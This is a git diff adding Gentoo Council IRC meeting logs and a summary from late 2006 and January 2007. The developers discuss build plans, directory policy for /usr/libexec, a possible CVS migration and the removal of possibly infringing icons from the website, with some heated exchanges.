+21:41 <@kloeri> I'll be doing weekly alpha builds and probably weekly ia64 builds too from this weekend forward
+21:41 <@Kugelfang> FlameBook: remind me, should spb handle that?
+21:42 <@FlameBook> Kugelfang, if QA wants to enforce a policy, QA should decide on policies, shouldn't they?
+21:42 <@kloeri> and setting up alpha tinderboxing too I guess
+21:42 <@robbat2> vapier, for the new boxes, there is no actual plan yet, beyond a rough guess that the bugzilla admin interface is still jforman, but the rest of it I can handle
+21:42 <@Kugelfang> FlameBook: iirc that was an open discussion, and if QA doesn't think it's a problem, should they make it one?
+21:42 <@FlameBook> this is one of the many things we don't have any clear rule or at least path to follow
+21:42 <@robbat2> as I don't have any experience with the bugzilla admin stuff, just mysql on the back
+21:42 <@Kugelfang> FlameBook: speaking just avbout the misc thing right now
+21:42 <@FlameBook> Kugelfang, well, it _is_ a problem for Gentoo practice
+21:42 <@kloeri> FlameBook: I was talking to spb about documentation and policies the other day actually
+21:43 <@kloeri> FlameBook: glep 40? (the one about the qa team) mentions that qa should help devrel with updating quizzes etc. so I expect to get started on that soon'ish
+21:43 <@FlameBook> Kugelfang, Quality Assurance is not just checking if an ebuild has a misplaced braket
+21:43 <@FlameBook> kloeri, when was glep 40 dated, just to know?
+21:44 <@kloeri> glep 48 it is
+21:44 <@Kugelfang> FlameBook: please, no commonplaces
+21:44 <@FlameBook> dated when?
+21:44 <@kloeri> 24 april 2006
+21:44 -!- spb [i=spb@gentoo/developer/spb] has joined #gentoo-council
+21:45 <@FlameBook> Kugelfang, uhm? I was just saying that IMHO even issues like places where we put stuff, so that they won't break in the long run if we need to relocate them, are part of QA concerns
+21:45 <@FlameBook> so yes, QA should be handling them, and not only
+21:45 <@Kugelfang> FlameBook: i think this was handled on the mailing list sufficiently
+21:45 <@vapier> robbat2: i'm interested in helping with the frontend stuff ... jforman never gets back to me
+21:45 <@vapier> robbat2: things like all these user interface regressions
+21:46 <@Kugelfang> FlameBook: but i guess vapier can give more insight there, as he was one of the most active participants in that discussion
+21:46 <@FlameBook> Kugelfang, this as in QA concerns, or the misc thing? because at the moment, it's not handled at all
+21:46 <@FlameBook> [the misc thing, that is]
+21:46 <@robbat2> vapier, consider yourself hired then, get into #gentoo-infra later on today
+21:46 <@Kugelfang> FlameBook: the misc stuff
+21:47 <@vapier> k
+21:47 <@FlameBook> Kugelfang, last time we talked (me and vapier) the result was that he wants to use /usr/$(get_libdir)/misc, while I know of at least one package that requires a single directory for two ABIs...
+21:47 <@FlameBook> and we have stil ccache and distcc using /usr/$PN
+21:47 <@FlameBook> so I don't think it was handled in the mailing list, not enough at least...
+21:48 <@Kugelfang> ok...
+21:48 <@Kugelfang> i will put it on my agenda than to create a proper polcy for it and put it into the devmanual after propser discussion
+21:48 <@Kugelfang> FlameBook: ok?
+21:49 <@vapier> symlinks across multiple ABI's would address that
+21:49 <@vapier> while libexec does not have the ability to handle the cas
+21:49 <@vapier> e
+21:49 <@Kugelfang> nod
+21:49 <@FlameBook> but besides that, what I'd like to ask QA is to commit for a broader involvement of developers in the process, and accept that they have to address multiple faces of QA, not only on correctness of ebuilds or proper code generation
+21:49 <@vapier> plus libexec screws up my tab completion
+21:49 <@Kugelfang> i have no time this weekend, but starting monday i will be able to work on it
+21:49 <@FlameBook> vapier, I don't think that, we'll fill up with a lot of symlinks at the end
+21:49 <@Kugelfang> FlameBook: sure... but this needs people to actually contribute
+21:50 <@Kugelfang> vapier: *g*
+21:51 <@vapier> your mom is a symlink
+21:51 <@Kugelfang> is she?
+21:52 <@Kugelfang> you surely know
+21:52 <@Kugelfang> sticking your pointer into any symlink!
+21:52 <@FlameBook> so anything else or we open the floor?
+21:53 <@Kugelfang> i have nothing else
+21:53 <@kloeri> I don't have anything either
+21:53 <@Kugelfang> FlameBook: can you pleas esummarise why the current practive is bad in your eyes (in regard to /misc/?) per mail?
+21:53 <@Kugelfang> FlameBook: either to -dev or to me directly
+21:54 <@Kugelfang> (if it's not too much an effort :-))
+21:54 <@FlameBook> Kugelfang, sure, just give me a bit of time, tonight I'm off sooner than usual
+21:55 <@Kugelfang> FlameBook: sure, as i said... i won't work on it before monday
+21:56 <@wolf31o2|mobile> so open floor?
+21:56 -!- mode/#gentoo-council [-m] by Kugelfang
+21:56 -!- kingtaco|work [n=kingtaco@gentoo/developer/kingtaco] has joined #gentoo-council
+21:56 -!- mode/#gentoo-council [+o kingtaco|work] by ChanServ
+21:56 <@kingtaco|work> doh
+21:56 <@Kugelfang> yes :-)
+21:56 <@Kugelfang> kingtaco|work: hahaha
+21:56 <@Kugelfang> kingtaco|work: the meeting just finished
+21:56 <@FlameBook> kingtaco|work, your timing i just the funniest :)
+21:56 <@kingtaco|work> sorry, damn time zones messed me up
+21:56 <@robbat2> UTC never moves
+21:56 <@FlameBook> kingtaco|work, do you want to add something before we open the floor?
+21:56 <@Kugelfang> FlameBook: the floor has been opened
+21:56  * jokey is curious about gentoo-x86 migration
+21:56 <@kingtaco|work> FlameBook, nothing I have thiss month
+21:57 <@FlameBook> we discussed about the icons currently on the site (resolution: remove them as soon as possible)
+21:57 <@Kugelfang> and kingtaco|work is now officially a slacker!!!!!!
+21:57 <@Kugelfang> :-P
+21:57 <@robbat2> jokey, to git/svn you mean?
+21:57 <@kloeri> heh
+21:57 < jokey> robbat2: yep
+21:57 <@Kugelfang> kingtaco|work: sorry dude ;-)
+21:57 <@kingtaco|work> Kugelfang, tis ok
+21:57 <@robbat2> jokey, it was covered previously, but i'll recap
+21:57 <@kingtaco|work> I do want to vote on that
+21:57 <@robbat2> jokey, while svn would work at the moment, it isn't ideal
+21:57 <@vapier> why are we converting
+21:58 <@vapier> first i've heard
+21:58 <@vapier> cvs works fine
+21:58 <@kingtaco|work> vapier, no reason to
+21:58 <@robbat2> jokey, git almost fills the requirements
+21:58 <@Kugelfang> git was not designed for that
+21:58 <@kloeri> cvs is shit but the pain of migrating is probably not worth it imo
+21:58 <@robbat2> the final recommendation from antarus' SoC was that until git gets a few more specific features, we should hold off from any migration
+21:59 -!- spb- [n=spb@gentoo/developer/spb] has joined #gentoo-council
+21:59  * Kugelfang would probably vote yes for a migration to svn, but certainly not for git
+21:59 <+g2boojum> FlameBook: Sorry, somehow I completely lack any memory of the icons issue.  It's a non-issue now, but care to fill me in?
+21:59 <@robbat2> in specific, git needs history slicing and repo slicing
+21:59  * jokey is fully with Kugelfang here
+21:59 <@FlameBook> g2boojum, the icons we have on the /dyn/icons.xml page, contributed by the users, most certainly infringe copyrights and licenses
+21:59 <@robbat2> upstream git does claim to be working on those issues, but says not to expect  results for several months
+22:00 <@kingtaco|work> how is the icons thing our problem?
+22:00 <@Kugelfang> robbat2: git is not the proper tool for that in my eyes
+22:00 <@FlameBook> we have edited copies of windows's icons, other proprietary software icons, real and other logos, and some crystalsvg icons (from kde) that are licensed under LGPL (the icons on the site have no license)
+22:00 <@wolf31o2|mobile> we put it on our page
+22:00 <@kingtaco|work> has soneone claimed we're violating something?
+22:00 <@kingtaco|work> IMO it's a trustees issue
+22:00 <@robbat2> Kugelfang, on what grounds do you make that claim?
+22:00 <@FlameBook> kingtaco|work, the previous trustees never answered to the call
+22:00 <@kingtaco|work> FlameBook, so?  we have new ones now
+22:00 <@wolf31o2|mobile> which is what I said... and FlameBook says the previous trustees didn't do anything about it... so brought it here
+22:00 <@kingtaco|work> and it still isn't our place
+22:01 <@Kugelfang> git is designed as a tool for distributed development
+22:01 <@robbat2> jokey, i'm interested in your objections to git as well
+22:01 <@FlameBook> kingtaco|work, right but what can they do? ask windows the permission to use the icons?
+22:01 <@kingtaco|work> FlameBook, wait until someone proves we're infringing and then remove the infringing stuff?
+22:01 <@Kugelfang> robbat2: gentoo's work is not of distributed nature
+22:01 <+g2boojum> FlameBook: Do we know which ones violate copyright?  I'm happy to suggest that all infringing ones should go; I just don't know which those are.
+22:01 <@FlameBook> kingtaco|work, it would be bad PR if it happens
+22:01 <@kingtaco|work> FlameBook, we have plenty of that already
+22:01 <@Kugelfang> kingtaco|work: no, as in that case we would liable for compensation
+22:01 <@kingtaco|work> misbehaving devs
+22:01 <@FlameBook> g2boojum, I can spot a lot that are infringing, so much that's IMHO not worth the hassle of spotting them
+22:01 <@Kugelfang> kingtaco|work: as soon as we know it, we need to remove it
+22:01 <@FlameBook> and we might miss some
+22:02 <@FlameBook> kingtaco|work, any reason you have to keep em?
+22:02 <@robbat2> err, noisy in here, Kugelfang/jokey, would you join #gentoo-cvs-migration to discuss this at length please?
+22:02 < jokey> just that gentoo-x86 highly depends on the latest ebuilds everywhere so distributing it doesn't make sense
+22:02 <@kingtaco|work> Kugelfang, I don't admit to gentoo putting up any copyrighted material
+22:02  * jokey joins
+22:02 <@wolf31o2|mobile> FlameBook: uhh... it's the trustees job (not the council's) to deal with *anything* legal... so if they wanted to ask MS, that's their choice... at the same time, they're responsible for making sure we comply with any licenses/laws
+22:02 <@kingtaco|work> afaik, it's all free
+22:02 <@kingtaco|work> until someone says otherwise
+22:02 <+g2boojum> FlameBook: Okay, fair enough.
+22:02 <@kingtaco|work> honestly, the council needs to stay out of legal issues
+22:02 <@FlameBook> kingtaco|work, the point is that it's risky, we might be liable, and I'd rather avoid it for the icons we have
+22:02 <@kingtaco|work> has anyone talked to the new trustees?
+22:03 <@kingtaco|work> wolf31o2|mobile, you're one, right?
+22:03 <@wolf31o2|mobile> kingtaco|work: I am
+22:03 <@FlameBook> kingtaco|work, uhm no, it's not free until said otherwise, windows's icons are for sure copyrighted and thus not usable
+22:03 <@vapier> trustees need to stop making legal desicions and talk to the lawyers
+22:03 <@wolf31o2|mobile> vapier: we do
+22:03 <@kingtaco|work> vapier, agreed, but it's still not our shindig
+22:03 <@kingtaco|work> wolf31o2|mobile, tell me that the trustees are handling it
+22:04 <@wolf31o2|mobile> anyway... nobody has said anything about it to the trustees since I've been on the alias
+22:04 <@wolf31o2|mobile> kingtaco|work: as a trustee, I just say we remove the whole damn lot of them
+22:04 <@wolf31o2|mobile> be done with it
+22:04 <@kingtaco|work> wolf31o2|mobile, I'd agree with you, but _we_ don't make that decision
+22:04 <+g2boojum> wolf31o2|mobile: I'd be happy to go along with that.
+22:04 <@wolf31o2|mobile> kingtaco|work: correct... the council has no say on legal matters other than to make suggestions (as anyone can do) to the trustees
+22:05 <@wolf31o2|mobile> anyway... bbiab
+22:05 <@kingtaco|work> da
+22:05 <@FlameBook> kingtaco|work, err why can't we make that decision, considering the icons territory is currently not looked after anyone, technically?
+22:05 <@kingtaco|work> FlameBook, because the only ground for removing them is that it might violate some copyright
+22:05 <@kingtaco|work> it's not proven either way
+22:05 <@kingtaco|work> thus it's a legal issue
+22:05 <@kingtaco|work> and we don't touch them
+22:05 <@FlameBook> I see it in the opposite logic
+22:05 <@FlameBook> we have no standing to leave them there
+22:06 <@kingtaco|work> sure we do
+22:06 <@kingtaco|work> they already exist
+22:06 <@kingtaco|work> presumably people use them
+22:06 <@FlameBook> _and_ we know we'll never have a clearance to use most of them
+22:06 <@kingtaco|work> FlameBook, I don't admit that
+22:06 <@kingtaco|work> and you shouldn't either
+22:07 <@kingtaco|work> if M$ gets sand in their panties for us using their icons(if indeed it's theirs) then the trustees will remove it for copyright violations
+22:07 <@kingtaco|work> unless you've done the byte by byte comparison of our files with theirs, noone knows
+22:07 <@kingtaco|work> you can't assert either way
+22:07 <@kingtaco|work> nor I
+22:08 <@FlameBook> *shrug* then I will say that the council is pointless, if we can't even decide that we want to avoid issues and get rid of something unmaintained that might make us liable to copyright infridgement
+22:08 <@FlameBook> really, I try to be pragmatic, those icons are a risk, they are not even that good IMHO, they are not in an usable format for icon themes, they are a bunch of graphics that is currently unmaintained
+22:08 -!- kingtaco|laptop [n=kingtaco@gentoo/developer/kingtaco] has joined #gentoo-council
+22:08 -!- mode/#gentoo-council [+o kingtaco|laptop] by ChanServ
+22:09 <@kingtaco|laptop> damn video card
+22:09 <@FlameBook> I don't find worth the risk and the hassle to leave them on there, if you want to bring it to the trustees, do so then.
+22:09 <@kingtaco|laptop> where was I
+22:09 <@FlameBook> [22:09]  <FlameBook> *shrug* then I will say that the council is pointless, if we can't even decide that we want to avoid issues and get rid of something unmaintained that might make us liable to copyright infridgement
+22:09 <@FlameBook> [22:10]  <FlameBook> really, I try to be pragmatic, those icons are a risk, they are not even that good IMHO, they are not in an usable format for icon themes, they are a bunch of graphics that is currently unmaintained
+22:09 <@FlameBook> [22:10]  * kingtaco|laptop (n=kingtaco@gentoo/developer/kingtaco) has joined #gentoo-council
+22:09 <@kingtaco|laptop> FlameBook, again, it's not our choice
+22:09 <@kingtaco|laptop> moreover, it's a moot point
+22:09 <@kingtaco|laptop> 2 of the N trustees agree
+22:09 -!- kingtaco|work [n=kingtaco@gentoo/developer/kingtaco] has quit [Read error: 113 (No route to host)]
+22:09 <@FlameBook> I can't see why it's not our choice
+22:09 <@FlameBook> are we deciding on technical matters, aren't we?
+22:09 <@kingtaco|laptop> because we don't make legal decisions
+22:10 <@kingtaco|laptop> this isn't remotly technical
+22:10 <+g2boojum> FlameBook: We have a quorum in #-trustees now.  Working on the issue.
+22:10 <@FlameBook> do whatever you want, if the meeting is finished, I'll work on danny's mail.. and I'll consider twice for next council, really.
+22:10 <+g2boojum> rl03 suggests keeping the Gentoo icons (the ones w/ a gentoo icon inside), and dumping the rest.
+22:11 <@kingtaco|laptop> FlameBook, that' really silly
+22:11 <+g2boojum> FlameBook: Would you please get off your high horse.  You're getting what you wanted, even if it's not quite the way you intended.
+22:12 <@FlameBook> kingtaco|laptop, no it is not, it's just that I think we're just losing time here if we have to jump in fire circles on every decision
+22:12 -!- kingtaco|work [n=kingtaco@gentoo/developer/kingtaco] has joined #gentoo-council
+22:12 -!- mode/#gentoo-council [+o kingtaco|work] by ChanServ
+22:12 <+g2boojum> FlameBook: Had you popped into #-trustees, we probably could have handled it there, too.
+22:12 <@FlameBook> g2boojum, my point is not the icons by themselves
+22:12 <@FlameBook> it's just that it's a bureaucracy I'm no more sure I want to be part of.
+22:14 <@kingtaco|laptop> FlameBook, feel free to write a GLEP changing what we can and cannot do
+22:14 <@kingtaco|laptop> that's what it boils down to
+22:14 <@kingtaco|laptop> we're not without limits
+22:15 <@kingtaco|laptop> however, if we vote on it, then it probalby couldn't go into effect until the next set of council people
+22:15 <@kingtaco|laptop> if we wanted it this year, then I guess it'd have to be a general vote
+22:16 <@FlameBook> kingtaco|laptop, it's not just this particular thing, it's a more general problem
+22:16 <@FlameBook> you can compare with my latest rant on blog.
+22:18 <@FlameBook> besides, I mailed about the icons thing on Nov 24, if it was clear the issue was not our to decide, I wonder why nobody said it...
+22:19 <@kingtaco|work> I would have cought it if I wasn't moving
+22:19 <@kingtaco|work> I'm still behind on emails
+22:19 <@kingtaco|work> I can't speak for the others
+22:19 <@FlameBook> I'm just more used to the technical side, so I'll consider what I'll do before next meeting.
+22:20 <@kingtaco|work> I don't understand
+22:21 <+g2boojum> FlameBook: I saw your "rant", but that seemed like a different issue (the person who was supposed to write up summaries wasn't).
+22:21 <+g2boojum> FlameBook: Or was your complaint that the last two meetings were dull and uninteresting?
+22:22 <@FlameBook> g2boojum, no, it's just the same issue, we're losing ourselves in non-issues, and we can't enact anything decided, even if we stated we wanted to be a stronger council
+22:22 <@FlameBook> this issue just confirmed my impression, so I'm not sure anymore if I want to have part in this, and I'll have to think about it.
+22:22 <@kingtaco|work> FlameBook, the council exists to deside on technical issues, not legal issues
+22:23 <@kingtaco|work> there is no technical reason to decide to keep or remove any or all icons from that page
+22:23 <@kingtaco|work> there is a possible legal reason
+22:23 <@kingtaco|work> even then the jurisdiction matters
+22:23 <@FlameBook> kingtaco|work, there's no need to continue really, I said what I had to say, if the meeting is finished, I'll close here
+22:23 <@kingtaco|work> frankly, we're not competent to decide on such issues
+22:24 <@wolf31o2|mobile> neither are the trustees... we defer legal questions to the lawyers
+22:24 <@kingtaco|work> FlameBook, if you're not willing to listen then I'll stop talking
+22:25 <@FlameBook> kingtaco|work, I just think you're repeating "it's a legal issue you has to ignore it and leave ti to trustees" which is something I don't agree with, and I won't even if you repeat it 30 times
+22:26 <@wolf31o2|mobile> jesus fucking christ on a stick
+22:26 <@kingtaco|work> I've said all I can say
+22:26 <@wolf31o2|mobile> nobody said you haev to ignore it
+22:26 <@kingtaco|work> do what you want
+22:26 <@wolf31o2|mobile> they just said you have to take it to the right people
+22:26 <@wolf31o2|mobile> it is *that* simple
+22:27 <@wolf31o2|mobile> anyway...
+22:27  * kloeri agrees
+22:27 <@wolf31o2|mobile> I mean... if you wanted... you could hound the trustees daily about it
+22:27 <@wolf31o2|mobile> heh
+22:27 <@FlameBook> wolf31o2|mobile, I still think that legal or not legal, deciding on removing them should be allowed to us, considering there's no one maintaining that page anymore
+22:27 <@FlameBook> wolf31o2|mobile, have to look up the response from the previous trustees?
+22:28 <@wolf31o2|mobile> FlameBook: sure, except that your only reasoning for removing them is legal
+22:28 <@FlameBook> wolf31o2|mobile, I asked for a reason to keep them, too..
+22:28 <@kingtaco|work> and I gave one
+22:28 <@kingtaco|work> people use them
+22:28 <@wolf31o2|mobile> how about "because they're there already and take 0 maintenance and aren't broken"
+22:29 <@wolf31o2|mobile> same as any package in the tree that may or may not be maintained
+22:29 <+g2boojum> FlameBook: For what it's worth, the trustees hang out in #-trustees, so if you ask in there we'll do what we can to help.  That's something new w/ the new crop of trustees, but it seems to be working.
+22:29 <+g2boojum> FlameBook: (I'm not complaining about you bringing it to the council, I just want to let you know.)
+22:30 -!- wolf31o2|mobile [n=wolf31o2@gentoo/developer/wolf31o2] has left #gentoo-council ["Leaving"]
+22:30 <@FlameBook> again, I don't think that the idea of ignoring the issue and just saying "it's legal issue it's legal issue I don't want to hear NANANANANNANA" is a wrong turn.
+22:30 -!- fmccor is now known as fmccor|away
+22:31 <@kingtaco|work> FlameBook, don't take cheap shots at me just because I don't agree with what you want
+22:31 <@FlameBook> I can understand for things that might be controverse, but I don't really find much controversy in this... besides, the point that people use them... as mike said they are also on the forum
+22:31 <@kloeri> reminds me, I have a somewhat tricky trustees issue but I should probably mail trustees about that :)
+22:31 <@kingtaco|work> that's incredably poor taste
+22:31 <@FlameBook> kingtaco|work, not taking a cheap shot, that's just how I seen your behaviour in this matter
+22:32 <@FlameBook> didn't you want to redirect it to trustees without even considering the issue at all?
+22:32 <@kingtaco|work> I AGREED WITH YOU!
+22:32 <@kingtaco|work> I disagreed that it was something we should do
+22:32 <@kingtaco|work> considering that the trustees didn't look at it
+22:32 <@kingtaco|work> fuck the old trustees
+22:32 <@kingtaco|work> they don't matter
+22:33 <@kingtaco|work> moreover, as soon as you brought it up, they started looking at it
+22:36 <@kingtaco|work> anyone have anything else to add to this meeting?
+22:37 <@kloeri> nope
+22:38 <@kingtaco|laptop> who ran the meeting today?
+22:40 <@kloeri> didn't decide that, just jumped to flameeyes issues
+22:41 <@kingtaco|laptop> oh
+22:41 <@kingtaco|laptop> someone want to close the meeting?
+22:41 <@kloeri> I can mail log + summary fwiw
+22:41 <@kloeri> meeting closed :)
+22:44 <@kingtaco|laptop> ok
+22:45 <+g2boojum> FlameBook: If you're still around, I've just sent an e-mail to neysx requesting that the icons page be pulled.
+22:45 <@FlameBook> g2boojum, was going to ask you about that
+22:46 <+g2boojum> FlameBook: It took a bit of discussion before I knew who could do it.  I'm not sure how the dyn pages work.
+22:46 <@FlameBook> g2boojum, the same applies to me, I asked that beforehand just to be sure, /dyn/ should be under infra's look, and robbat2 confirmed before it was doc guys to handle (thus, neysx)
+22:55 -!- robbat2 [n=robbat2@gentoo/developer/robbat2] has quit [Remote closed the connection]
+22:57 -!- fmccor|home [n=fmccor@gentoo/developer/fmccor] has joined #gentoo-council
+23:10 -!- spb [i=spb@gentoo/developer/spb] has quit ["hooray for new machines"]
+23:15 -!- FlameBook [n=intrepid@gentoo/developer/Flameeyes] has quit ["Leaving"]
+23:16 -!- spb- is now known as spb
+23:26 -!- Flameeyes is now known as FlAFKeyes
+23:35 -!- robbat2 [n=robbat2@gentoo/developer/robbat2] has joined #gentoo-council
+23:35 -!- mode/#gentoo-council [+o robbat2] by ChanServ
+23:49 -!- g2boojum [n=grant@gentoo/developer/g2boojum] has left #gentoo-council []
+--- Log closed Fri Dec 15 00:00:38 2006
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070111-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070111-summary.txt
new file mode 100644
index 00000000..a161907e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070111-summary.txt
@@ -0,0 +1,61 @@
+Summary of the Gentoo Council meeting held 11 January 2007
+----------------------------------------------------------
+(Summary prepared by robbat2).
+
+Roll-call:
+Present: flameeyes (proxied by UberLord), kingtaco, kloeri, kugelfang, robbat2, wolf31o2
+Absent: vapier
+
+No agenda items were raised ahead of time, so we just went in alphabetical
+order.
+- Kugelfang reported that the EAPI0 draft document is not quite complete. spb had
+  hoped to have it ready before the meeting, but didn't manage. It has been
+  restricted thus far to avoid 'large discussions about minor details' while
+  the bigger picture is assembled. It will be open for all input and
+  refinements later.
+- Kugelfang visited the issue of the contents of /usr/libexec. Diego and
+  Vapier had raised it previously, and Kugelfang is working on the document,
+  in a style similar to FHS.
+- Kugelfang wanted to know about the process for council members stepping
+  down. This was prompted by solely by Flameeye's message to the council
+  channel earlier in the day, which implied he was retiring. The point was
+  made moot by Flameeye's later blog post that he was going to take a two week
+  break instead.
+- On the procedural side, both Kugelfang and KingTaco wanted to know what the
+  what the process for a retiring council member was. Should it be the next
+  person on the original ballot results, or should a further election be held?
+  The spirit of the council GLEP was a further election, but some questions
+  were had in this. The issue needs to be raised on the -dev mailing list, and
+  revisited during the next council meeting.
+- Robbat2 reported on the successful bugzilla migration, and the work for the
+  new CVS server. The Bugzilla news was well recieved.
+- Robbat2 brought up the status of the SPF documentation. Kloeri said that he
+  has them in a nearly finished state, but hasn't had a chance lately to
+  complete them. Kloeri will other complete them shortly, or upload the drafts
+  to the bug in the meantime.
+- Robbat2 requested that for helping to get an agenda together in future, all
+  council members should just braindump their potential minor items to the
+  council mailing list a few days ahead of each meeting. Large issues should
+  still be raised on -dev/-core as needed, but the smaller stuff like
+  followups can just be braindumped. Robbat2 promised to rig an automated
+  reminder to the council members.
+- A last call for vapier was made, and since he didn't show, he got his
+  slacker mark for this meeting.
+- Wolf31o2 inquired as to the status of the Reply-To documentation (bug
+  154595). As there was absolutely no progress, Wolf31o2 was going to just
+  write it up and convert it to GuideXML.
+- Wolf31o2 proposed the concept of council-managed projects. These are to be
+  Gentoo-specific projects where the council takes the initiative of defining
+  creating software specifications and requirements, recruits people to
+  work on them (not nessicarily developers), and helps manage the project
+  (leaving people to actually work on it). Some past almost precedents were
+  noted and the council was in favour of the general concept. Wolf31o2 was
+  going to seek out some initial proposals for small projects to test the
+  concept on.
+
+The floor was opened at this point.
+
+- KingTaco jokingly asked if the Gentoo Foundation could afford to buy
+  Sealand, which lead into real queries about the current financial reports.
+  Wolf31o2 located a November 2006 posting in the NFP archives and provided a
+  link to it.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070111.txt b/xml/htdocs/proj/en/council/meeting-logs/20070111.txt
new file mode 100644
index 00000000..62f26485
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070111.txt
@@ -0,0 +1,401 @@
+Jan 11 12:00:09 wolf31o2|mobile	heh
+Jan 11 12:00:17 *	robbat2 sets mode +m #gentoo-council
+Jan 11 12:00:56 robbat2	ok, it's time folks
+Jan 11 12:00:57 kingtaco|work	roll-call
+Jan 11 12:01:01 *	kingtaco|work is here
+Jan 11 12:01:11 kloeri	hi all
+Jan 11 12:01:29 *	wolf31o2|mobile is here
+Jan 11 12:01:32 robbat2	Kugelfang, SpanKY, vapier: pingy
+Jan 11 12:01:42 kingtaco|work	no uberlord?
+Jan 11 12:01:45 kingtaco|work	for flameeyes?
+Jan 11 12:01:49 *	You've invited UberLord to #gentoo-council (zelazny.freenode.net)
+Jan 11 12:02:10 *	iluxa (n=anonymou@gentoo/developer/iluxa) has joined #gentoo-council
+Jan 11 12:02:13 *	You've invited Uber to #gentoo-council (zelazny.freenode.net)
+Jan 11 12:02:20 *	antarus (n=antarus@gentoo/developer/antarus) has joined #gentoo-council
+Jan 11 12:02:32 *	kingtaco|work has changed the topic to: Next meeting: NOW
+Jan 11 12:02:40 Kugelfang	orly?
+Jan 11 12:03:16 kingtaco|work	5 of 7
+Jan 11 12:03:31 kingtaco|work	lets get the shindig started
+Jan 11 12:03:33 *	DrEeevil (i=dreeevil@gentoo/user/bonsaikitten) has joined #gentoo-council
+Jan 11 12:03:42 robbat2	anybody got an Agenda? I didn't see one posted
+Jan 11 12:03:50 kingtaco|work	I don't
+Jan 11 12:03:59 Kugelfang	robbat2: i have two thingsw
+Jan 11 12:04:04 Kugelfang	actually, three
+Jan 11 12:04:06 kloeri	there haven't been any agenda posted afaik
+Jan 11 12:04:09 Kugelfang	one minute
+Jan 11 12:04:12 *	Uber (n=uberlord@rsm.demon.co.uk) has joined #gentoo-council
+Jan 11 12:04:20 *	kloeri gives channel operator status to Uber
+Jan 11 12:04:20 wolf31o2|mobile	I have something I would like to propose, too...
+Jan 11 12:04:23 *	Uber waves
+Jan 11 12:04:28 kloeri	welcome Uber
+Jan 11 12:04:29 Kugelfang	hey Roy :-)
+Jan 11 12:04:43 Uber	everyone knows I'm proxy for diego?
+Jan 11 12:04:45 kingtaco|work	da
+Jan 11 12:04:49 kloeri	yup
+Jan 11 12:05:03 robbat2	i don't see g2boojum here today, so I'll do the conducting if nobody else wants to
+Jan 11 12:05:19 kingtaco|work	goforit
+Jan 11 12:05:22 Kugelfang	yes
+Jan 11 12:05:51 robbat2	ok, since there was no agenda, lets just go alpha order down the list, and let each person list their things for the agenda quicly
+Jan 11 12:05:55 robbat2	KingTaco, anything?
+Jan 11 12:06:09 kingtaco|work	not at the moment
+Jan 11 12:06:12 robbat2	kloeri, 
+Jan 11 12:06:23 kloeri	nothing
+Jan 11 12:06:28 robbat2	Kugelfang, your items you mentioned?
+Jan 11 12:06:32 Kugelfang	ok
+Jan 11 12:06:40 Kugelfang	first: EAPI0 document
+Jan 11 12:06:48 kingtaco|work	QA stuff?
+Jan 11 12:06:49 Kugelfang	spb had been asked to do it.
+Jan 11 12:06:52 Kugelfang	kingtaco|work: yes
+Jan 11 12:07:00 kingtaco|work	ok
+Jan 11 12:07:08 Kugelfang	he's done quite some work, it's not yet completely ready
+Jan 11 12:07:21 kingtaco|work	is it posted somewhere?
+Jan 11 12:07:27 Kugelfang	i have access to it, but i may no publish it yet
+Jan 11 12:07:40 Kugelfang	kingtaco|work: nope, there needs to be some work done, it's very promising already though
+Jan 11 12:07:44 kloeri	I have access as well but same conditions
+Jan 11 12:07:46 kingtaco|work	it'd be nice if people could view and comment
+Jan 11 12:07:48 Kugelfang	it's an 30page pdf document right now :-)
+Jan 11 12:07:54 Kugelfang	s/an/a/
+Jan 11 12:08:31 robbat2	does he have a rough timeline for having it more done?
+Jan 11 12:08:33 Kugelfang	i just wanted to mention it, to contradict Diego's statement from planet.gentoo.org
+Jan 11 12:08:36 kingtaco|work	I'm not a fan of the secrecy
+Jan 11 12:08:44 kloeri	I think the idea of keeping it restricted right now is to get the bigger picture finished before getting into large discussions about minor details
+Jan 11 12:08:45 *	ferringb (n=bharring@c-71-236-224-243.hsd1.or.comcast.net) has joined #gentoo-council
+Jan 11 12:08:54 Kugelfang	kingtaco|work: he wants to have it done _completely_ before discussions starts on parts
+Jan 11 12:09:12 kingtaco|work	ok
+Jan 11 12:09:17 robbat2	ok, so long as that doesn't limit input being taken into account later
+Jan 11 12:09:17 Kugelfang	kingtaco|work: once it's done, it'll be as open as anything else.. he just doesn't consider it done yet
+Jan 11 12:09:20 wolf31o2|mobile	as much as I'm all for openness... I can understadn that one
+Jan 11 12:09:21 wolf31o2|mobile	heh
+Jan 11 12:09:33 kingtaco|work	I wont vote on it until it has suitable time in public review
+Jan 11 12:09:41 kloeri	I actually agree with keeping it restricted for now personally
+Jan 11 12:09:49 Kugelfang	he wanted to have a draft ready for tonight, but didn't quite make it as far as i understood
+Jan 11 12:10:01 kloeri	and there'll be plenty of opportunity to comment on it and refine parts later
+Jan 11 12:10:06 Kugelfang	exactly
+Jan 11 12:10:08 kingtaco|work	...ok
+Jan 11 12:10:09 robbat2	ok, thats fine for the moment
+Jan 11 12:10:16 Kugelfang	that was my first point
+Jan 11 12:10:28 Kugelfang	second point: /usr/libexec
+Jan 11 12:10:34 wolf31o2|mobile	heh
+Jan 11 12:10:44 Kugelfang	Diego and vapier had a discussion about that, and i promised to bring up a document for it
+Jan 11 12:10:58 Kugelfang	something that's a standard for where to put things in a gentoo installation
+Jan 11 12:11:11 Kugelfang	i initally wanted to just make a little patch for the devmanual
+Jan 11 12:11:40 Kugelfang	however, i've changed my mind and think that we should have a proper document similar to the FHS document
+Jan 11 12:11:47 *	Calchan (n=Calchan@84.7.124.48) has joined #gentoo-council
+Jan 11 12:12:07 Kugelfang	not as long as that, but one document that says: these files belong here and not there
+Jan 11 12:12:24 Kugelfang	however, i think also that i'm not up to the job, at least not alone
+Jan 11 12:12:38 Kugelfang	this is where Uber comes into the equations, as i was going to ask him
+Jan 11 12:12:56 Kugelfang	Uber: are you interested in helping out on that, as one of the primary baselayout maintainers?
+Jan 11 12:13:02 *	marienz (n=marienz@gentoo/developer/marienz) has joined #gentoo-council
+Jan 11 12:13:47 Kugelfang	(I also take anybody else's help/input on writing such a document :D)
+Jan 11 12:13:49 Uber	Kugelfang: i'm only really interested in keeping / as small as we can - dont't really care where packages put things outside of that
+Jan 11 12:13:57 Kugelfang	nod
